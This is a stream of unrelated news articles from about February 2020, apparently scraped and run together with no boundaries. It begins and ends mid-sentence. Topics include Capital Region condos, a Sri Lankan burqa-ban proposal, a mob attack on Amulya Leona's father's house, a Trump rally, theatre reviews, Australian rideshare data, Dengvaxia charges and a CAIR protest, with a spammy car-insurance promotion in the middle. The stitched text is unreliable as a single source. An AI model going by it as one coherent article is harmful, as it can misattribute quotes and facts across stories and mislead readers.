lawn and communal areas, are property of a homeowners association (HOA). In townhomes, the owners own the interior and exterior of the building but not the communal areas. Capital Region real estate agents and brokers said both offer affordable living for people looking to downsize, possibly from a single-family home. According to the Greater Capital Association of Realtors, condos and townhouses are nearly as in-demand as single-family homes. On average, townhouses spent 53 days on the market before being sold in the third quarter of 2019; that's compared to 65 days for condos and 60 days for single-family homes. Here are some condominiums and townhouses on the market in the Capital Region with a handful of units left each: Woodfield Commons, Malta Woodfield Commons is located right off Route 9, and is what broker Cindy Quade described as "upscale," with included amenities like granite and hardwood flooring. Each condo has a detached garage, a fireplace and 9-foot ceilings, which contributes to what Quade described as an open, bright aesthetic. There are only two units remaining. The largest unit is 1,600 square feet, which includes two bedrooms and a den. The smallest is around 1,300 square feet, with a den and one bedroom. The HOA fees are $290 a month, which includes lawn care, snow removal and sewer and trash. Malta Springs, Malta There are 76 Malta Springs townhomes, and only three are still on the market. Two of the most-popular plans are a master suite with 1,888 square feet and a one-car ranch design with 1,484 square feet. The HOA fee is $305 annually, but it doesn't include snow removal and lawn fees. The homeowners use private services or do their own lawn care and snow removal. The roads are public and are plowed by the town of Malta. The sidewalks are cleared by a private company hired by the HOA; the cost is included in the annual dues. The homes are built by Barbera Homes and Development. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. Kasey Pass, Ballston Spa More Information For a condo, the owner owns everything from the studs in. This makes for lower taxes because the bill is assessed by square footage. A townhouse house is different because it's the house as well as the small amount of land around it. The taxes, then, will be higher for a townhouse with the same square footage as a condo, because there's more ownership. - Jennifer Corcoran, lawyer, Tully Rinckey See More Collapse These condos are designed to be affordable, and although they aren't age-restricted, they can accommodate older populations because they are ADA accessible, said Pigliavento Builders representative Alisha Houle. There are 36 condos and five are still on the market. The units are 1,336 to 1,736 square feet. Houle said the location helps keep prices in check. "There are not a ton of condos out that way and the condos we did see are at a very high price point, but the taxes in the area are low," Houle said. In efforts to keep HOA fees low, there is no clubhouse or pool. (Communal areas can be common in condo and townhouse communities.) Fees total $154 a month, which covers lawn care, snow removal, weeding, insurance and more. Becca.Carballo@timesunion.com - 518-454-5092 - @Becca_Carballo A Sri Lankan parliamentary committee on national security has proposed an immediate ban on the burqa and suspending the registration of political parties on ethnic and religious basis, following the Easter Sunday terror attack that killed over 250 people. The proposals featured in a special report presented in Parliament on Thursday to resolve 14 controversial issues following the April 21 Easter attack last year. The report was tabled by MP Malith Jayatilaka, Chairman Sectoral Oversight Committee on National Security, the Daily Mirror reported. According to the report, a number of countries have already banned the burqa. The report suggested that the police should have the power to ask anyone wearing a face covering in a public place to take off such clothing in order to establish the identity of the person. If such a request is not complied with, police should have the power to arrest the individual without a warrant, the report said. It also recommended the country's Election Commission to enact a legislation to suspend the registration of political parties on ethnic and religious basis. The report also said that the registration of political parties which have some racial or religious conflict or in its name should also prohibited. Such a party should be converted into a political or non-religious political party within a specified period of time, the report said. The report states that all students studying in madrassas should be absorbed into the normal school system under the Ministry of Education within three years. The report also proposes to establish a special committee to regulate the madrasas under the Department of Muslim Religious and Cultural Affairs. Nine suicide bombers belonging to local Islamist extremist group National Thawheed Jamaat (NTJ) carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday, killing 258 people, including 11 Indians. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chikkamagaluru: Hundreds of pro-Hindu outfits, especially from the Bajrang Dal, took to the streets of Koppa town in Chikkamagaluru district of Karnataka to hold a protest rally today against Amulya Leona, the young woman who stunned the state yesterday by allegedly raising pro-Pakistan slogans at a protest venue in Bengaluru last night. An effigy of the student was burnt while Bajrang Dal convenor Tudukuru Manjunath told Deccan Chronicle that activists would keep a watch on her if she is granted bail in the case and comes to her home town. He warned that if she dares to enter Koppa or Chikkamagaluru again, then she would have to face dire consequences. Last night, barely hours after Amulya Leona raised pro-Pakistani slogans at a protest against the Citizenship Amendment Act at Freedom Park in Bengaluru, and was arrested on sedition charges, her fathers house in Shivapura village in Koppa taluk of Chikkamagaluru district came under attack, allegedly by Bajrang Dal activists, who pelted stones at the house and smashed windows. Narrating the incident, Amulya Leonas father Oswald Noronha (Vaji) said he had left the house before Bajrang Dal activists stormed his house with stones and sticks and started attacking the windows. I was a mute spectator to the attack on my house. I built it seven years back. I stood silently in the darkness while the mob entered the house and started their attack despite people in the vicinity asking them not to do so, he said. Later, police arrived at the spot and provided security to Vaji Noronha. He lodged a formal police complaint at around 2 pm today. When the attack happened, Vajis wife was away at Theerthahalli to visit her maternal home. Vaji Noronha says, I could not establish contact with my wife after Amulyas arrest. I do not know where my wife is, whether she is in Theerthahalli or in Bengaluru to meet Amulya. Vaji was non-committal about securing bail for Amulya Leona. He said, Her act is unpardonable and I will not try to secure bail for her. But I do not know about my instincts as a father. She has hurt me. I had asked her to refrain from making inflammatory statements but she did not pay heed. I told her that prime minister Narendra Modi and Union ministers hold offices of high esteem and she should respect their positions and also their age, he said. Chikkamagaluru superintendent of police Harish Pandey told Deccan Chronicle that a First Information Report (FIR) on the attack has been registered based on a complaint filed by Vaji. He has named a few persons suspected to have been involved in the attack on his house. We are trying to identify who they are since the attack occurred in the cover of darkness. Harish Pandey said no arrests have been made so far in the attack on Vaji Noronhas house. Bajrang Dal bullying A video circulating in Chikkamagaluru district captured a conversation between a band of Bajrang Dal activists and Amulya Leonas father Vaji Noronha over the conduct of his daughter. After the activists left the scene, stones started raining down on the house. Watch | Exclusive video shot by Deccan Chronicle reporter shows #BajrangDal activists barging into #AmulyaLeona house in Chikkmagalur and demanding an explanation from her father for her #AntiNational at the protest venue in Bengaluru (2/2) #AntiCAAprotest #Bengaluru #FreedomPark pic.twitter.com/TfwlJvhnAY Deccan Chronicle (@DeccanChronicle) February 21, 2020 Amulyas father Vaji (who incidentally is the Hariharapura JD(S) Hobli president) was bullied by Bajrang Dal activists who asked him if what his daughter said was acceptable to him. Here are excerpts from the exchange between Amulya Leonas father and the Bajrang Dal activists. BD: Are you okay with your daughters statement? Vaji Noronha: No, I dont approve of it. Its definitely a mistake. BD: Would you let her come back to your house? Vaji Noronha: Yes, she is my daughter....(inaudible due ambient noise) BD: Do you mean to say that you would shelter an anti-national? Vaji Noronha: No. I wont let her come back. Let her stay in jail for a while. At this point, Bajrang Dal activists get wild and one of them is heard saying: You know what you are talking? Be grateful that we did not vandalise your house or even bomb you. We are being nice to you. Vaji Noronha: (Doesnt know how to react, so just nods in acceptance.) BD: What action do you think the Centre should take against her? Vaji Noronha: Let her rot in jail. Let the law takes its course and let her be punished as per law. I have no problem with that. BD: What kind of daughter have you raised? Didnt you know that she spoke made many anti-Modi statements 10 days ago? Vaji Noronha: Yes. I am aware of it. And not just me, the entire family feels let down by her behaviour. Shes always been a rebel and never once paid heed to our words. Her provocative speeches are a result of her hanging around with some Muslim people (this he says in a hushed tone) BD: Why did you tone down? Who are you afraid of? Your daughter said that when she spoke against Modi, you called to check if she was safe. Where the hell do you think you are living, in India or Pakistan? We love Hindustan and we are Hindus. Do you love your country or not? Father: I am a Hindu too and love my country. I havent been in touch with her (his daughter) over the last five days. In fact I recently stayed in Bengaluru persuading her to abandon all the activism and return home but she didnt budge. In fact the last time I called, I asked her to take me to hospital as I am a heart patient. Even then she didnt want to come. BD: Say Hindustan Zindabad. Zor se bolo. Father: Hindustan Zindabad. Donald Trump's Colorado Springs rally has booed the name of climate activist Greta Thunberg, who he mentioned as he complained that he should be honoured as Time magazine's Person of the Year every year. Mr Trump attacked the 17-year-old by noting she had beat him out for the magazine honour in 2019, but noted that he has won in the past. He has previously complained about losing to Ms Thunberg, notably during the World Economic Forum in Davos, Switzerland earlier this year. "This year I got beaten out by Greta you know Greta?" he said, prompting the boos. "Last year I got beaten out I've won it, but when the world revolves around all of us, we should be chosen," he continued, twirling his finger in a circle on stage. "I mean, we've won it. But we should win it every single year." Mr Trump won the honour in 2016, shortly after his election as president. Men who have won the US presidency have traditionally been named the year they win election (one exception has been made in the past 30 years, when Bill Clinton was not named as person of the year after his re-election win in 1996). Greta Thunberg inspires climate activists everywhere: In pictures Show all 12 1 /12 Greta Thunberg inspires climate activists everywhere: In pictures Greta Thunberg inspires climate activists everywhere: In pictures In the protest that started a movement, Greta skips school to sit outside of the Swedish parliament in Stockholm in order to raise awareness of climate change on 28 August 2018 Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta speaks at the World Economic Forum in Davos on 25 January AFP/Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta stages a protest at the World Economic Forum in Davos on 25 January Reuters Greta Thunberg inspires climate activists everywhere: In pictures Greta speaks at the House of Commons in London on 23 April PA Greta Thunberg inspires climate activists everywhere: In pictures Greta addresses to the occupation at Marble Arch in London on 21 April AFP/Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta meets the pope on a visit to Rome Reuters Greta Thunberg inspires climate activists everywhere: In pictures Greta speaks at the senate in Rome on 18 April Reuters Greta Thunberg inspires climate activists everywhere: In pictures Greta addresses a debate of the EU Environment, Public Health and Food Safety committee at the European Parliament in Strasbourg on 16 April AFP/Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta receives the Special Climate Protection Award at the German Film and Television awards in Berlin on 30 March AFP/Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta attends a children's climate protest in Berlin on 29 March AFP/Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta addresses a children's climate protest on 1 March in Hamburg Getty Greta Thunberg inspires climate activists everywhere: In pictures Greta attends a meeting for the Civil Society For rEUnaissance at the EU Charlemagne Building in Brussels on 21 February AFP/Getty After Mr Trump was named person of the year in 2016, the magazine proceeded to name "The Silence Breakers" and then "The Guardians" as the people of the year. The first of those was in reference to the women who came forward with accusations of sexual abuse and exploitation during the MeToo movement, and the second was in reference to journalists across the globe who have faced persecution, arrest or murder during the course of their reporting. Recommended Greta Thunberg could become only 18th woman to win Nobel Peace Prize Mr Trump, a prominent climate change denier, has clashed with Ms Thunberg frequently in the past, after she gained international notoriety for her school strikes that have spread into a movement among young people across the world. Last year, when the two both attended the United Nations General Assembly in New York, Ms Thumberg was seen glaring at the US president as they passed one another during the proceedings. For her part, Ms Thunberg has suggested that Mr Trump is not worth her time or energy as she seeks to convince international governments to take the threat of climate change seriously. Drivers should check if they still pay for really good insurance plans. Check the insurance market every 6 month, said Russell Rabichev, Marketing Director of Internet Marketing Company. Compare-autoinsurance.org has released a new blog post that explains to drivers when is the best time to review their current car insurance coverage options. For more info and free car insurance quotes, visit https://compare-autoinsurance.org/best-time-to-review-your-current-car-insurance-policy/ Reviewing the current coverage plans ensures that the policyholder still benefits from competitive rates and fair prices. By doing so, the risk of overpaying is greatly reduced. Keep in mind that some companies still practice price optimization, slightly increasing car insurance costs for no reason. Get car insurance quotes from http://compare-autoinsurance.org/ and compare prices. It is recommended to scan the insurance market and get quotes at least 2 times a year. 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On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc. For more information, please visit http://compare-autoinsurance.org/ Relishing in Democrats' jumbled primary in the wake of a fractious debate, President Donald Trump offered stinging criticism of his rivals as he sought to take advantage of the moment. Making a rare four-day swing through the West, Trump was exuding reelection confidence Thursday at a campaign rally in Colorado, after taking in the prior night's prize fight of a debate in Las Vegas. He reveled in the intra-party squabbling and the weak debut debate performance turned in by former New York City Mayor Mike Bloomberg, according to aides and allies. "I don't know if anyone watched last night's debate," Trump told an arena of raucous supporters. "It got very big ratings, and you know what, Mini Mike didn't do well last night. I was going to send him a note, saying it's not easy doing what I do is it?" He offered other biting assessments of the Democratic contenders, contrasting them to his own performance in debates four years ago. "I became president because of the debates because unlike Mini Mike I could answer questions," Trump said. Feeling reelection odds rising after his acquittal in the Senate impeachment trial and his campaign's record fundraising, Trump seized on the deep divisions and personal tiffs on display in the Democratic field. But his preoccupation with the scrambled nomination race for the Democrats seeking to replace him has been clear throughout the trip. When Trump woke up Thursday morning in his gilded Las Vegas hotel, his base during the four-state western trip, he tuned in to the post-debate coverage and displayed his glee. Repurposing one of Bloomberg's own quotes about the Democratic infighting, Trump tweeted: "The real winner last night was Donald Trump." He tacked on his own coda: "I agree!"" The night before, after a campaign rally in Phoenix, Trump summoned reporters to his office aboard Air Force One to join him in watching a replay of the debate on the return flight to Las Vegas. He was scheduled to hold a rally in the city his third in as many days Friday on the eve of the caucuses, as he did before contests in Iowa and New Hampshire. Bloomberg has been the most disconcerting force in the 2020 race for Trump since the ultra-billionaire entered the fray in November and spent more than USD 400 million, which rocketed him in the polls in just three months. Bloomberg's willingness to spend near-unlimited sums to defeat Trump this fall, and the mocking tone of many of his ads, have deeply rankled the president. Trump's campaign had organized itself around the strategy that it would be able to paint any rival as an extreme liberal, a "socialist" or worse, and concerns mounted that strategists would have to come up with a different plan should Bloomberg win the nomination. Trump's team saw the debate as validating his reelection strategy and providing a fresh opening for Vermont Sen. Bernie Sanders, a self-described Democratic socialist, to gain a significant delegate lead on Super Tuesday. The president was hopeful that panic from more moderate Democrats at Sanders' rise would only further fracture the Democratic Party. On Thursday, Trump predicted the debate would be the end of Bloomberg's campaign, and said Minnesota Sen. Amy Klobuchar's campaign was also mortally wounded. "I think you lost two last night," he said in Colorado, adding that "it looks like Bernie" will emerge as the Democratic nominee. Trump on Thursday placed a round of calls to confidants, echoing the thoughts he had posted on Twitter at times with more colourful language and opining that Bloomberg did not appear ready for the moment, according to two Republicans close to the White House who spoke on condition of anonymity because they were not authorized to speak publicly about private conversations. Long insecure about Bloomberg's wealth, Trump told confidants that the debate proved money alone did not lead to his own electoral success. Between three rallies and a pair of high-dollar fundraisers, Trump sought to use his western swing to highlight administration policies that delivered on campaign promises and appealed to key demographics. On Wednesday, he ceremoniously signed new environmental regulations that eased water restrictions on farmers in the heavily Republican California Central Valley. On Thursday, Trump spoke to a graduating class of ex-prisoners in a renewed appeal to communities of colour, as he championed his administration's work on criminal justice reform. In Colorado Springs, Trump was rallying support for Republican Sen. Cory Gardner, who is considered one of the most vulnerable senators seeking reelection this year. "We are going to win Colorado in a landslide and you're going to help us get Cory Gardner across that line because he's been with us 100%," Trump said, referencing his vote in the impeachment trial. There was no waver with Cory." Between touting his administration's accomplishments and attacking his opponents, Trump also critiqued the Academy Awards for awarding best picture to the South Korean film Parasite the first foreign language film to win an Oscar. "How bad were the Academy Awards this year, "Trump said. "And the winner is: a movie from South Korea. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Number (Bridge Theatre, London) Verdict: Clone drama saved by the set Rating: Night Of The Living Dead Remix (Liverpool Playhouse and touring) Rating: Verdict: Schlock horror! Two types of zombie are at large in British theatre this week. One is in a revival of Caryl Churchills 2002 play about clones, A Number. It stars Roger Allam and former Merlin Colin Morgan. The other can be found roaming around the regions, in a touring stage recreation of the Sixties schlock horror classic, Night Of The Living Dead. All right, you may think its a bit harsh equating clones with zombies. How would you like it if you were one? But thats surely why clones give us the creeps: they challenge our idea of ourselves as unique human beings powered by free will. This is the third production of A Number Ive seen, but the first time its actually come to life. Thats more thanks to Polly Findlays production than Churchills monosyllabic writing. Four play: Clone Colin Morgan, left, confronts his father (Roger Allam) in A Number The story is about a young man (Morgan) who confronts his father (Allam) after discovering hes one of a number of clones. What marks this production out from my previous experiences is Lizzie Clachans set. Giving us four different perspectives on the same suburban living room, enabled me to finally understood that the cloned son is actually one of four different characters. Morgan gives an impressive audition for future jobs by finding nuances for each of the genetically identical sons forgiving, angry, nervous and blase. Allam has the tougher job as the defensive father about whom we know nothing, apart from the fact that hes a chronic fibber. With his rich thick voice, like a draught of Tarmacadam, I could listen to Allam read the small print for my mobile phone contract. But this does seem like keeping a Rolls-Royce to do the weekly shop. Which makes Clachans set the beige front room of a semi the star of the show. We get four different rear walls: bay window, electric-fireplace, open plan kitchen and door to the hall all in meticulous detail. But it says a lot about a play that it needs to be saved by the set. For a more traditional zombie experience, youd be better off with the lovingly staged homage to George A. Romeros 1968 B-movie Night Of The Living Dead its in Liverpool this week but coming soon to a theatre near you. The music, by James Hamilton, is haunting. Admittedly the actors are reduced pretty much to the, er, living dead, by this copying of the film The black-and-white film is about strangers defending themselves in a remote American farmhouse from flesh-eating dead people. Andrew Quick and Pete Brooks Remix tries to present this as a metaphor for social unrest in America in the Sixties. But I was most impressed by the technical virtuosity, with two screens over the stage: one playing the original film, the other (following the movie shot for shot) showing the live action from the stage below. The music, by James Hamilton, is haunting. Admittedly the actors are reduced pretty much to the, er, living dead, by this copying of the film. But Matt Prendergast, as the coward of the group, is edgier, sweatier and more cowardly than his historical counterpart (Karl Hardman). For tour dates/times see imitatingthedog.co.uk/night-of- the-living-dead-remix/ Nora: A Dolls House (Young Vic Theatre) Rating: Verdict: Feminists stuck in the past Millennial feminists are becoming over-dependent on the authority of dead white men. Im thinking in particular of one very dead white man known as Henrik Ibsen. This is at least the third version of the Norwegian playwrights 1879 drama about a woman trapped in a loveless marriage launched on a major UK stage in the last year. Undeterred by over-familiarity, Scottish writer Stef Smith tells us in the programme that it came about through a tender process of giving myself permission. Pass the Pepto Bismol! Amaka Okafor and Anna Russell-Martin are earnestly intense as the Noras from 1918 and 2018...so much so that you wonder how they got mixed up with their iffy bloke in the first place Ibsens original is famous for its at-first mousey housewife Nora walking out on her boorishly tyrannical husband. Smiths big idea here is to cluster bomb Noras husband with a small harem of three Noras, each linked to different moments in history. So we have a suffragette Nora from 1918, a nervous, pill-popping Nora from 1968, and a strident, working class Glaswegian Nora from 2018. As their stereotypically chauvinist husband, Luke Norris slips niftily in and out of the misogynistic attitudes of each period. Smiths ruse needs some canny stagecraft to pull it off and in this she is assisted by a cleverly interlocking production by Elizabeth Freestone. Tom Pipers design offers three door frames one for each period leading onto a square of shared oatmeal carpet. Smiths big idea here is to cluster bomb Noras husband with a small harem of three Noras, each linked to different moments in history The three women are never off stage in a technically demanding performance that has them finish each others sentences, as if their different experiences were but a single story. Amaka Okafor and Anna Russell-Martin are earnestly intense as the Noras from 1918 and 2018...so much so that you wonder how they got mixed up with their iffy bloke in the first place. But the sparky Natalie Klamar 1968 Nora is the most interesting because shes the most unstable characterand Klamar is the most mercurial actor. The play ends with a demand for ladies to rise up against their domestic jailer and, if possible, take a lady lover. That last bits not Ibsen, as you may have guessed - but otherwise its mostly his work, spread across the centuries. Smith clearly has strong theatrical instincts, so I look forward to seeing one of her more original works in due course. Perhaps dealing with more challenging, contemporary rat bags. High school musical at full throttle Be More Chill (The Other Palace, London) Verdict: Manic energy just isnt enough Rating: This show got a standing ovation from a packed house, which looked to me like a combination of office parties and American tourists maybe those whod missed its hit run off-Broadway. Anyway. This is a high school musical about a misfit geek, Jeremy, whose anthem is Im Proud To Be A Loser. Except hes not. Hes a sad sap Scott Folan is fabulously lanky who takes solace in internet porn, plays video games with his equally geeky friend Michael and gets ever more depressed at the sight of his dad, who slops around the house in his underpants. So will Jeremy carry on with this internal tyrant so he can pull girls and go to parties? Or will he realise that underneath, everyones basically insecure, as they used to say at my school? So who could blame him for falling victim to a dodgy underworld character in a cut-price shoe store who sells him The Squib, a grey pill of Japanese manufacture (the omnipotent Japanese are a running joke) which reprogrammes you to be popular? Its the old Faustian pact, where you sell your soul for...whatever. In Jeremys case, the chance to get a girlfriend, cool Christine Miracle Chance in full-on zany specs (shes artistic). And its not any old reprogramming, either. With the Squib, you get an actual Mephistopheles inside your head: Stewart Clarke, channelling Keanu Reeves. Hes funny... a diabolic slave driver who makes nice Jeremy mean and edgy, but goes AWOL when he takes alcohol, a handicap for any incubus. So will Jeremy carry on with this internal tyrant so he can pull girls and go to parties? Or will he realise that underneath, everyones basically insecure, as they used to say at my school? Be More Chill is based on the young adult book by Ned Vizzini, who had his own inner demon which drove him to suicide, aged 32. That alone makes you wary of Jeremys own private Keanu. More to the point, its got unvarying manic energy every number is fortissimo and the scenario is so damn obvious. There are some terrific performances (Renee Lamb as school gossip Jenna is in fine voice) but sometimes manic energy isnt enough. The most chilling thing about Be More Chill is that the stage setting is done with changing digital backdrops please God, tell me this isnt where theatre is going. Melanie McDonagh While Uber is the most popular rideshare platform in Australia, its competitors Ola and Didi are making inroads into the market. Research from Roy Morgan found that while Uber had mainly competed with taxis previously, its now facing real competition from other rideshare companies. Roy Morgan also found that Australians are willing to use multiple rideshare services. Visit Business Insider Australias homepage for more stories. There's some stiff competition in Australia's rideshare market. Research from Roy Morgan found that while the majority of Aussies use Uber, fellow rideshare companies such as Ola and Didi have gained significant market shares. Roy Morgan looked at the percentage of Australians over 18 who have used a rideshare company in the last three months. Of those, 93% used Uber, 20% hailed Ola and 14% caught a ride with Didi. As you can see from the overlap, some would even use multiple services. Roy Morgan CEO Michele Levine highlighted that while Uber's main competition had previously been taxis, it's now faced with other rideshare companies which have entered the market. In recent years, the term get an Uber was the only one that existed for Australians when it came to ordering a rideshare service," she said in a statement. "However, that is now changing. Ubers disruption of the private transport industry, and incredible success, has led to a host of other rideshare services entering the market." An Uber spokesperson told Business Insider Australia in an email, "We remain focused on delivering a great experience for our customers and our driver partners not on other operators." "We welcome competition because it keeps us focused on delivering the very best product and experience for riders, driver partners and Uber Eats customers and partners." Levine added that more competition in the industry should benefit passengers as it could lead to lower prices. When asked what it is doing to stand out from its competitors, DiDi Spokesperson Dan Jordan told Business Insider Australia in an email that the company is up to 10% cheaper than other rideshare providers. Story continues "We also leverage our technology and global experience to ensure we deliver the best possible rideshare experience to Australia." Roy Morgan's research also found many people who used other rideshare services also used Uber. For instance, 92% of Ola users also used Uber. The same was true of 84% of DiDi users. "It shows that a considerable proportion of rideshare users are willing to use multiple providers when choosing a ride, Levine said. Ola Managing Director, ANZ Simon Smith told Business Insider Australia via email that its no surprise that Aussies are using multiple rideshare services. "Over the past two years, weve successfully established ourselves as a major player in rideshare in Australia, driving choice and innovation locally and offering a safer, more affordable ride," he said. "Ola welcomes competition in rideshare - its good for both passengers and drivers." While Uber, Ola and DiDi were the top three platforms people used, passengers used other services including Bolt (formerly Taxify), Shebah, GoCatch, Rydo and Shofer. GoCatch, Shofer, Rydo and Shebah are all Aussie-based, while Bolt has its headquarters in Estonia. Shebah, however, is a rideshare service for women and Shofer is available in Perth. Uber tops customer satisfaction list Uber ranked the highest when it came to customer satisfaction, at 88%. It was followed by DiDi (75%) and Ola (72%). "Uber has the highest customer satisfaction and the lowest dissatisfaction of the leading providers," Levine said. "Both newer services have far higher levels of neutral responses regarding satisfaction than Uber indicating many consumers are still making up their minds." The Uber spokesperson explained that the company has been investing heavily in tech, mapping technology, customer support and business partnerships in the more than 6 years it has been in Australia. "Uber leads by treating customers and driver partners as VIPs through Uber Pro and Uber Rewards and we will continue to lead on safety globally and at home through innovative always-on safety features," they said. In terms of who exactly is using rideshare companies, young people lead the way in trying out Uber competitors like DiDi and Ola. "As we enter new markets, we find that the younger demographic has a higher propensity to be our early adopters," Jordan told Business Insider Australia. Uber on the other hand was most popular among people over 50 years old and evenly split between men and women. "Newer services tend to target younger markets and are heavily weighted towards male customers with DiDi strongest amongst 18-29 year olds and a majority of Ola riders aged 30-49," Levine said. "The notable exception is the Melbourne based Shebah service which caters to a female market by prioritising the safety and security of its passengers." READ MORE: Shebah's CEO says the purpose of the ridesharing platform is to 'monetise the labour of women', as the company secures $675,000 in crowdfunding Uber rival Ola will be in every capital city in Australia, as it continues its expansion across the country Chinese rideshare platform DiDi is launching in Sydney in March, almost 2 years after it entered Australia For Rebecca Brown, it was never about the money. It was about clearing her husband Kevins name after the San Diego Police Department issued a press release days after he committed suicide in 2014 claiming he had killed a child in 1984. Last Friday, the 66-year-old widow spent a bittersweet Valentines Day in a San Diego courthouse, where a jury awarded her $6 million, including $3 million for the loss of her husbands companionship. And on Tuesday, now-retired SDPD detective Michael Lambert, who Rebecca alleged had misled a judge to secure a warrant to search her husbands property was ordered to personally pay her $50,000 in punitive damages. Im sure they will appeal the decision, but now its on the record, Rebecca tells PEOPLE. Both Rebecca and her attorney were willing to limit the punitive damages to $1 if Lambert had apologized. He didnt. The San Diego Union-Tribune reported that in Tuesdays hearing, Lambert testified that the verdict was a gut punch for me. I believed I did the best I could on this case. Lambert added the verdict is forever going to hurt my reputation as a cop. Rebecca says Lambert smeared the reputation of Kevin, a former forensic criminologist in the department and Lamberts former colleague. In her lawsuit, she alleged the department drove Kevin, who suffered from depression and anxiety, to suicide with their allegation that he killed a 14-year-old girl. When the unanimous judgment came down, it meant the detective was wrong and it was total vindication for Kevin, Rebecca tells PEOPLE. The San Diego Police department issued that press release and thought, Case closed! But I was not going to let that happen. It was a victory in Rebeccas quest to clear her husbands name, but small comfort for the Catholic school teacher who thought she would spend her retirement with her beloved husband she described as a gentle person who would never hurt anyone. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates The leadership of the Christian Association of Nigeria (CAN) has declared January 21 of every year as the CAN National Day of Prayers for the `persecuted Christians in Nigeria. Adebayo Oladeji, Special Assistant Media and Communications, to the CAN President, Samson Ayokunle said this in a statement in honour of the late CAN Chairman, Lawan Andimi. Mr Oladeji said the date was set aside in remembrance of the slain chairman in Michika Local Government of Adamawa State and other victims of terror and herdsmen attacks. January 21 was the day Rev. Andimi was killed by the Boko Haram terrorists after his refusal to convert to Islam as demanded by his captors, hence, it was a day chosen in his honour. The resolution, according to the CAN President, became imperative in honour of all the Christians who have been killed by the Boko Haram terrorists, herdsmen killers, and the bandits nationwide, he said. He called on the Body of Christ in the country, especially denominational leaders to reflect the date in their annual calendar of activities. The decision was taken Friday at the just concluded meeting of the National Executive Committee held at its National Secretariat in Abuja. Joseph Daramola was also confirmed in the meeting as the substantive general secretary and Elder Biodun Sanyaolu as the Assistant General Secretary of CAN. Daramola has been the acting general secretary of the association since the demise of the immediate past General Secretary, Rev Dr Musa Asake, after a brief illness, he said. He said other officers confirmed at the meeting were Pastor Okusanya Oludare (National Treasurer), Rev. Gideon Shagba (Director, Ecumenism and Inter-Faith), and Comfort Chigbue (Director, Legal and Public Affairs). Others are Rt. Rev. Stephen Adegbite (Director, National Issues and Social Welfare), Pastor Omonuwa Ogiemudia (Director, Education, Youth & Women Development) and Bishop Nwankwo (Planning, Research and Strategy), he said. (NAN) Metro Manila (CNN Philippines, February 21) The Department of Justice has found probable cause to charge former Health Secretary Janette Garin and several co-accused of reckless imprudence resulting in homicide over deaths being linked to controversial dengue vaccine Dengvaxia. This is the second time that state prosecutors indicted now Iloilo Rep. Garin, other former government officials, and French manufacturer Sanofi Pasteur. The DOJ in a statement on Friday noted that the prosecutors' findings were similar to the first batch of complaints over the Dengvaxia-linked deaths that Garin and other government officials showed "inexcusable lack of precaution" and carelessness in using the vaccine for the government's mass immunization program in 2016 despite potential health risks. "The Panel concluded that the accomplishment of the procurement process for the Dengvaxia vaccine, with undue haste, within a limited timeframe, and despite the red flags known to Garin and the other respondents, amounted to Reckless Imprudence," the DOJ said. The crime is punishable with up to six years in jail for each count. Aside from Garin and Sanofi Pasteur, nine other DOH officials, including those from the Food and Drug Administration and Research Institute for Tropical Medicine are facing the same criminal charges. In a statement, Garin maintained her innocence, noting that of the seven criminal cases filed against her, six have been dismissed for "lack of basis and substance." She also insisted that there is no scientific evidence that the Dengvaxia drug leads to deaths. "Science has proven over and over again that no deaths have been linked to the Dengvaxia vaccine. Almost the whole world is using it now and no case like ours has surfaced," Garin said in a statement. The Philippines implemented in 2016 the use of Dengvaxia, the world's first dengue vaccine, but prosecutors said clinical trials were not yet completed prior to the purchase and rollout. More than 830,000 children were vaccinated. In November 2017, Sanofi disclosed that those without prior dengue infection are at risk of having "severe disease" if immunized with Dengvaxia. The DOH said around 10 percent or 80,000 of vaccinated children were at risk. The DOH has since stopped the dengue vaccination program. TIMELINE: The Dengvaxia controversy The prosecutors said respondents failed to fully inform the recipients and the recipients' families of the nature and potential risks from the vaccine, and that no pertinent health assessment was done prior to administering the vaccine. The recipients were also not monitored for any possible adverse reaction, the prosecutors noted. The panel also found sufficient evidence to charge the President of Sanofi Pasteur for violating the Consumer Act of the Philippines for manufacturing a "defective product." It noted that the law defines a product as defective when "it does not offer the safety rightfully expected of it." "The Panel found that Sanofi indirectly admitted that Dengvaxia is a defective product due to the risk it poses to seronegatives, or to those who have not previously contracted the Dengue disease," the DOJ said. In November 2019, Health Secretary Francisco Duque said Sanofi Pasteur had appealed the revocation of its certificate of product registration to the Office of the President. The Food and Drug Administration first suspended Dengvaxias registration in 2017. Two years after, the Department of Health rejected Sanofi Pasteur's plea for it to reverse the FDA's decision. Duque said Sanofi Pasteur failed to submit the required documents on its risk management plans. Duque then stressed that if Malacanang would allow the sale of Dengvaxia in the country, "it has to be under very strict conditions." READ: Dengvaxia fate now up to Palace DOH Maharashtra Chief Minister Uddhav Thackeray met Prime Minister Narendra Modi here on Friday, his first visit to the national capital after taking over the reins of the state. The chief minister's son Aditya Thackeray, who is a minister in his cabinet, also accompanied him. The Shiv Sena chief will also meet Congress president Sonia Gandhi, veteran BJP leader L K Advani and Union Home Minister Amit Shah. The BJP and the Shiv Sena had a bitter fallout post assembly polls in Maharashtra last year over the chief minister''s post. The Sena later aligned with arch rivals Congress and the NCP to form the Maha Vikas Aghadi government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) PHILADELPHIA, Feb. 21, 2020 /PRNewswire/ -- The Philadelphia chapter of the Council on American-Islamic Relations (CAIR-Philadelphia), the nation's largest Muslim civil rights and advocacy organization, today joined coalition partners in protesting the decision of the U.S. Army War College to invite anti-Muslim speaker Raymond Ibrahim for a Feb. 26 lecture. Last year, the college postponed a similar speaking engagement with Ibrahim in response to widespread criticism. In response to postponement of his 2019 lecture, Ibrahim restated his bigoted claim that "Islamic terrorism and 'extremism' are intrinsic to Islam, and have been from its first contact with Western civilization in the seventh century." SEE: CAIR-Philadelphia Welcomes US Army War College's Postponement of Lecture by Islamophobic Speaker This 